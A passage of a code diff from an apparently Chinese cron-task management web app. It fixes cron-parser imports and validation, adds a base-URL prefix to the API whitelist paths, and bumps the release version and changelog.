if (!value || CronExpressionParser.parse(value).hasNext()) {
return Promise.resolve();
}
return Promise.reject(intl.get('Cron表达式格式有误'));
} catch (e) {
return Promise.reject(intl.get('Cron表达式格式有误'));
}
return Promise.reject(intl.get('Cron表达式格式有误'));
},
},
]}
+12 -8
View File
@@ -12,7 +12,7 @@ import {
} from 'antd';
import { request } from '@/utils/http';
import config from '@/utils/config';
import { CronExpressionParser } from 'cron-parser';
import CronExpressionParser from 'cron-parser';
import isNil from 'lodash/isNil';
const { Option } = Select;
@@ -378,13 +378,17 @@ const SubscriptionModal = ({
{ required: true },
{
validator: (rule, value) => {
if (
scheduleType === 'interval' ||
!value ||
CronExpressionParser.parse(value).hasNext()
) {
return Promise.resolve();
} else {
try {
if (
scheduleType === 'interval' ||
!value ||
CronExpressionParser.parse(value).hasNext()
) {
return Promise.resolve();
} else {
return Promise.reject(intl.get('Subscription表达式格式有误'));
}
} catch (e) {
return Promise.reject(intl.get('Subscription表达式格式有误'));
}
},
+6 -6
View File
@@ -84,12 +84,12 @@ let _request = axios.create({
});
const apiWhiteList = [
'/api/user/login',
'/open/auth/token',
'/api/user/two-factor/login',
'/api/system',
'/api/user/init',
'/api/user/notification/init',
`${config.baseUrl}api/user/login`,
`${config.baseUrl}open/auth/token`,
`${config.baseUrl}api/user/two-factor/login`,
`${config.baseUrl}api/system`,
`${config.baseUrl}api/user/init`,
`${config.baseUrl}api/user/notification/init`,
];
_request.interceptors.request.use((_config) => {
+1 -1
View File
@@ -1,6 +1,6 @@
import intl from 'react-intl-universal';
import { LANG_MAP, LOG_END_SYMBOL } from './const';
import { CronExpressionParser } from 'cron-parser';
import CronExpressionParser from 'cron-parser';
import { ICrontab } from '@/pages/crontab/type';
export default function browserType() {
+10 -46
View File
@@ -1,47 +1,11 @@
version: 2.20.0
changeLogLink: https://t.me/jiao_long/432
publishTime: 2025-12-10 01:05
version: 2.20.1
changeLogLink: https://t.me/jiao_long/433
publishTime: 2025-12-26 22:00
changeLog: |
1. 定时任务(cron / task)相关的大量修复 & 增强
修复 cron 解析错误(修复 parse cron / 升级 cron-parser
修复集群模式下定时任务可能不执行(race condition
定时任务支持订阅筛选
定时任务支持排序调整
定时任务支持自定义日志文件或无日志
修复任务实例默认值
任务支持单实例 / 多实例模式
修复 task 命令软链可能失败问题
2. 日志系统相关的大更新
修复日志目录逻辑
修复 pm2 日志目录
优化日志写入(stream pooling
3. 环境变量(env)系统的改进与修复
修复环境变量复制到剪贴板时可能失败
添加环境变量“置顶”功能
修复 QlPort 与 QlGrpcPort 环境变量在 host network 模式下被忽略
增加全局 SSH 私钥配置
4. Docker / 非 root 用户 / Alpine 兼容性增强
新增非 root Docker 用户支持,自动初始化命令
修复 Alpine 容器 DNS 解析失败(设置 ndots:0
修复 PM2 在 ARM 路由器(Node.js 不兼容)上的启动失败
移除 nginx(可能是考虑更轻量的镜像运行)
5. API 安全与校验增强
Dependencies GET endpoint 增加校验
Script API routes 增加输入校验
修复 JWT 认证问题
Feishu 机器人通知增加签名校验
QLAPI 增加 cron task 管理功能
修复 URIError(错误 cookie 导致白屏)
6. 系统设置
新增多终端/多平台的并发登录会话支持
1. 修复获取依赖管理列表
2. notify.js 修复 TG_PROXY_AUTH 参数拼接
3. QLAPI.notify larkSecret 参数
4. 修复 cron parser 定时规则校验
5. 修复设置 baseUrl 后无法访问
6. 修复环境变量排序
7. 修复定时任务无法停止